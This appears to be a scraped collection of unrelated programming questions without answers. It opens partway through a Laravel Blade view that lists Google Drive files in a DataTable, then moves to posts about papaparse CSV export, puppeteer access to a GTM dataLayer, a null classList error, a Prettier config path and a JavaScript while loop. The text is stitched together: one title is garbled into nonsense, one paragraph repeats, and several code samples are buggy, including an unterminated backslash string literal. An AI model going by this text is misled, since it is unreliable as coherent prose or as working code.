                                    google.accounts.oauth2.revoke(token.access_token);
                                    gapi.client.setToken('');
                                    document.getElementById('content').innerText = '';
                                    document.getElementById('authorize_button').innerText = 'Autorizar';
                                    document.getElementById('signout_button').style.visibility = 'hidden';
                                }
                            }

                            var arquivos = [];
                            async function listFiles(parentFolder) {
                                response = await gapi.client.drive.files.list({
                                    'pageSize': 1000,
                                    'fields': "nextPageToken, files(id, name, mimeType, thumbnailLink, createdTime, parents, modifiedTime,size,webViewLink,webContentLink)",
                                    'supportsTeamDrives': true,
                                    'orderBy': "createdTime desc",
                                    'includeTeamDriveItems': true,
                                    'q': "'" + parentFolder + "' in parents and trashed = false"
                                });
                                var files = response.result.files;
                                if (files && files.length > 0) {
                                    for (var i = 0; i < files.length; i++) {
                                        var file = files[i];
                                        if (file.mimeType.includes("application/vnd.google-apps.folder")){
                                            listFiles(file.id);
                                        } else {
                                            if(file.parents && file.parents.length>0){
                                                file.pai = await ObterNomesPastas(file.parents[0]);
                                            }
                                            arquivos.push(file);
                                        }
                                    }
                                } else {
                                    appendPre('No files found.');
                                }
                            }

                            async function ObterNomesPastas(folder){
                                var nome = "";
                                var response = await gapi.client.drive.files.get({
                                    'fields': "id, name, mimeType, thumbnailLink, createdTime, parents",
                                    'fileId': folder
                                });
                                var file = response.result;
                                if (file) {
                                    if(file.parents && file.parents.length>0){
                                        nome = await ObterNomesPastas(file.parents[0]);
                                    }
                                }
                                return nome + '\' + file.name;
                            }
                            </script>
                            <script async defer src="https://apis.google.com/js/api.js" onload="gapiLoaded()"></script>
                            <script async defer src="https://accounts.google.com/gsi/client" onload="gisLoaded()"></script>


                            <div>

                                <input type="text" data-kt-ecommerce-product-filter="search"
                                        class="form-control form-control-solid w-250px ps-14"
                                        placeholder="Buscar" />

                                <table class="table align-middle table-row-dashed fs-6 gy-5" id="kt_ecommerce_products_table">
                                    <thead>
                                        <tr class="text-start text-gray-400 fw-bolder fs-7 text-uppercase gs-0">
                                            <th class="w-10px pe-2">
                                                <div class="form-check form-check-sm form-check-custom form-check-solid me-3">
                                                    <input class="form-check-input" type="checkbox" data-kt-check="true"
                                                        data-kt-check-target="#kt_ecommerce_products_table .form-check-input"
                                                        value="0" />
                                                </div>
                                            </th>
                                            <th class="min-w-200px">Nome do Arquivo</th>
                                            <th class="min-w-70px select-filter">Tamanho</th>
                                            <th class="min-w-100px select-filter">Link para o Drive</th>
                                            <th class="min-w-150px">Data de Criação</th>
                                            <th class="min-w-100px select-filter">Data de Modificação</th>
                                            <th class="min-w-100px select-filter">Pasta</th>
                                        </tr>
                                    </thead>
                                    <tfoot>
                                        <tr class="text-start text-gray-400 fw-bolder fs-7 text-uppercase gs-0">
                                            <th class="w-10px pe-2">
                                            </th>
                                            <th class="min-w-200px"></th>
                                            <th class="text-end select-filter"></th>
                                            <th class="text-end select-filter"></th>
                                            <th class="text-end "></th>
                                            <th class="text-end select-filter"></th>
                                        </tr>
                                    </tfoot>
                                    <tbody class="fw-bold text-gray-600">
                                    </tbody>
                                </table>

                            </div>

                        </div>


                    </form>

                </div>

            </div>

        </div>

    </div>

</div>

@section('javascript')

    <script src="/assets/js/widgets.bundle.js"></script>
    <script src="/assets/js/custom/widgets.js"></script>

    <script>
        "use strict";
        var KTAppEcommerceProducts = function() {
            var t, e, o = () => {
                t.querySelectorAll('[data-kt-ecommerce-product-filter="delete_row"]').forEach((t => {
                    t.addEventListener("click", (function(t) {
                        t.preventDefault();
                        const o = t.target.closest("tr"),
                            n = o.querySelector(
                                '[data-kt-ecommerce-product-filter="product_name"]')
                            .innerText,
                            id = o.querySelector('.form-check-input').value;
                        Swal.fire({
                            text: "Tem certeza de que deseja excluir " + n + "?",
                            icon: "warning",
                            showCancelButton: !0,
                            buttonsStyling: !1,
                            confirmButtonText: "Sim, deletar!",
                            cancelButtonText: "Não, cancelar",
                            customClass: {
                                confirmButton: "btn fw-bold btn-danger",
                                cancelButton: "btn fw-bold btn-active-light-primary"
                            }
                        }).then((function(t) {
                            t.value ? Swal.fire({
                                text: "Você excluiu " + n + "!.",
                                icon: "success",
                                buttonsStyling: !1,
                                confirmButtonText: "Ok, entendi!",
                                customClass: {
                                    confirmButton: "btn fw-bold btn-primary"
                                }
                            }).then((function() {
                                jQuery.get(
                                    '/correspondencias/delete/' +
                                    id,
                                    function(data) {
                                        e.row($(o)).remove()
                                            .draw()
                                    });
                            })) : "cancel" === t.dismiss && Swal.fire({
                                text: n + " não foi deletado.",
                                icon: "error",
                                buttonsStyling: !1,
                                confirmButtonText: "Ok, entendi!",
                                customClass: {
                                    confirmButton: "btn fw-bold btn-primary"
                                }
                            })
                        }))
                    }))
                }));


            };
            return {
                init: function() {
                    (t = document.querySelector("#kt_ecommerce_products_table")) && ((e = $(t).DataTable({
                            data: arquivos,
                            columns: [
                                { title: '', data: "id" },
                                { title: 'Nome do Arquivo', data: "name" },
                                { title: 'Tamanho', data: "size" },
                                { title: 'Link para o Drive', data: "webViewLink" },
                                { title: 'Data de Criação', data: "createdTime" },
                                { title: 'Data de Modificação', data: "modifiedTime" },
                                { title: 'Pasta', data: "pai" },
                            ],
                            info: !1,
                            order: [],
                            pageLength: 10,
                            columnDefs: [{
                                    orderable: !1,
                                    targets: 0
                                },

                            ],
                            language: {
                                url: '/pt_BR'
                            },
                            dom: '<"table-responsive"Brtlip>',
                            buttons: [

                                {
                                    extend: 'excel',
                                    messageTop: ''
                                },
                            ],

                            drawCallback: function() {

                                var api = this.api();


                                $(api.rows({
                                    page: 'current'
                                }).nodes()).removeClass('alert-warning');


                                api.rows({
                                    page: 'current'
                                }).every(function(rowIdx, tableLoop, rowLoop) {

                                    var data = this.data();

                                });
                            },
                            footerCallback: function(row, data, start, end, display) {
                                var api = this.api();

                                var intVal = function(i) {
                                    return typeof i === 'string' ? i.replace(/[$.R ]/g, '')
                                        .replace(/[,]/g, '.') * 1 : typeof i === 'number' ? i : 0;
                                };

                            },
                        })).on("draw", (function() {
                            o();
                            e.columns('.select-filter').every(function(i) {
                                var that = this;

                                if (jQuery('#idx_' + i).length > 0) {
                                    return;
                                }
                                var $container = jQuery('<div id="idx_' + i +
                                    '" class="m-5 col"><p>' + jQuery(this.header()).html() +
                                    '</p></div>').appendTo(jQuery('.filtros'));

                                var select = $(
                                        '<select class="form-select" multiple><option value=""></option></select>'
                                    )
                                    .appendTo(

                                        $container
                                    )
                                    .on('change', function() {
                                        that
                                            .search(($(this).val() && $(this).val() != '' ?
                                                    '^((' + $(this).val().join(')|(').replace(
                                                        / /g, '.') + '))$' : $(this).val()),
                                                true)
                                            .draw();
                                    });

                                this
                                    .cache('search')
                                    .sort()
                                    .unique()
                                    .each(function(d) {
                                        select.append($('<option value="' + d + '">' + d +
                                            '</option>'));
                                    });
                            });

                        })),
                        document.querySelector('[data-kt-ecommerce-product-filter="search"]').addEventListener(
                            "keyup", (function(t) {
                                e.search(t.target.value).draw()
                            })),

                        (() => {
                            const t = document.querySelector('[data-kt-ecommerce-product-filter="status"]');
                            $(t).on("change", (t => {
                                let o = t.target.value;
                                "all" === o && (o = ""),
                                    e.column(6).search(o).draw()
                            }))
                        })(),
                        o()
                    )
                }
            }
        }();
    </script>
@stop

@stop

Acredito que o erro está entre as linhas 332 até 339. onde está citado

                            **"columns: [
                                { title: '', data: "id" },
                                { title: 'Nome do Arquivo', data: "name" },
                                { title: 'Tamanho', data: "size" },
                                { title: 'Link para o Drive', data: "webViewLink" },
                                { title: 'Data de Criação', data: "createdTime" },
                                { title: 'Data de Modificação', data: "modifiedTime" },
                                { title: 'Pasta', data: "pai" },"

**

……………………

Using papaparse to scrape items then export each to individual csv

I have a page set up with rows of content within tags. I can connect with papaparse, see the items, but I want to scrape each item between a , delimiter into a separate .csv file, and not a just one single .csv file. I understand this can be done, just not sure quite how..

Background: this is a generated employee .vcf code ive parsed from our online business card metadata which I’ve published on a page which repeats each vcf code within an article or pre tag, so I’m hoping to save time on generating these for 100s of users. If I can simply get them into seperate csv, rename them to what I need, I’m hoping to save hours of work generating them manually.

Help interwebs!! Thank you in advance. Perhaps there is a better idea I have no thought of the approach to yet.

I’ve managed to parse the data with papaparse and export, however it is only into one file.

I have a problem with wI’m having trouble accessing GTM script in web crawler projecteb crawler

I need to access the datalayer for a web crawler project and validate the data in this datalayer, but my code is having a problem when trying to access the GTM script, it jumps to the configured error message.

const puppeteer = require('puppeteer');
const fs = require('fs');
const fetch = require('node-fetch');
const {google} = require('googleapis');

(async () => {
  const browser = await puppeteer.launch({ headless: false });
  const page = await browser.newPage();

  try {
    // Código para extrair o datalayer aqui
    async function getGtmDataLayer(page) {
      // Insira aqui o ID do seu container do GTM
      const gtmContainerId = 'GTM-xxxxxxx';
    
       
      const scriptHandle = await page.$('script[src*="googletagmanager.com/gtm.js?id=xxxxxxx' + gtmContainerId + '"]');
        if (!scriptHandle) {
        throw new Error('Não foi possível encontrar o script do GTM');
}
      const scriptSrc = await scriptHandle.evaluate(el => el.src);

      const gtmUrl = scriptSrc.split('id=xxxxxxx')[1].split('&')[0];
    
      const url = `https://www.googletagmanager.com/gtm.js?id=${gtmUrl}`;
    
      const response = await fetch(url);
      const text = await response.text();
    
      const dataLayerRegex = /dataLayers*=s*(.+?);/;
      const match = text.match(dataLayerRegex);
    
      if (!match) {
        console.error('Camada de dados não encontrada');
        return {};
      }
    
      return JSON.parse(match[1]);
    }
    const datalayer = await getGtmDataLayer(page);
     
    // Função para escrever os dados em um arquivo local JSON
     fs.writeFile('datalayer.json', JSON.stringify(datalayer, null, 2), (err) => {
      if (err) throw new Error('Algo deu errado ao escrever o arquivo');

      console.log('Arquivo gravado com sucesso!');
    });

  } catch (error) {
    console.error(error);
  } finally {
    await browser.close();
  }

})();
     

I believe that the failure is in the connection with the GTM to access the datalayer. Does anyone already made this kind of connection and can help me?

I believe that the failure is in the connection with the GTM to access the datalayer. Does anyone already made this kind of connection and can help me?

Class read error – Uncaught TypeError: Cannot read properties of null (reading ‘classList’)

let buttonsend = document.querySelector(".button");

function buttonSendnotavailable() {
  buttonsend.classList.remove("button");
  buttonsend.classList.add("disabledButtonsend");
  buttonsend = false;
}

function buttonSendavailable() {
  buttonsend.classList.remove("disabledButtonsend");
  buttonsend.classList.add("button");
  buttonsend = true;
}

function() {
  buttonSendnotavailable();
  buttonSendavailable();
}
<input type="button" class="button"> </input>

Why when I want to change the classes depending on the function and the variable that finds the button is global, I get an error in the title? Only the code I provided is responsible for what I want to get?
There was already a similar question to the one I asked, but it doesn’t solve my problem.

VSCode not finding my prettier config file

VSCode keeps saying it can’t find my .prettierconfig file:

["ERROR" - 10:40:50 AM] Error loading node module 'c:sourcemyappui.prettierconfig'
["ERROR" - 10:40:50 AM] Cannot find module 'c:sourcemyappui.prettierconfig'

But I do have a prettier config file in my project. I name it as .prettierc. To try to resolve that error, I set my VSCode setting for Prettier: Config Path set to point to that specific file name.

But even with the error, vscode does seem to recognize my .prettierrc file, because when I save my files, the formatting rules in .prettierrc do in fact get applied successfully to my .js files.

Why is VSCode still trying to look for .prettierconfig?

Why does an error occur in the while statement when the else if condition and the while condition are the same?

There is an error in the while part of this code. But I don’t know why it gives an error.

let randomNum = (pieces.length * Math.random()) | 0
    if ((block.indexOf(0) !== -1) && (block.indexOf(1) !== -1) && (block.indexOf(2) !== -1) && (block.indexOf(3) !== -1) && (block.indexOf(4) !== -1) && (block.indexOf(5) !== -1) && (block.indexOf(6) !== -1)) {
        block = [];
        block.push(randomNum);
    } else if(block.indexOf(randomNum) === -1){
        while(block.indexOf(randomNum) === -1){
            randomNum = (pieces.length * Math.random()) | 0
            return randomNum;
        };
        block.push(randomNum);
    } else{
        block.push(randomNum);
    }

The randomNum value must be entered without duplication in the block list.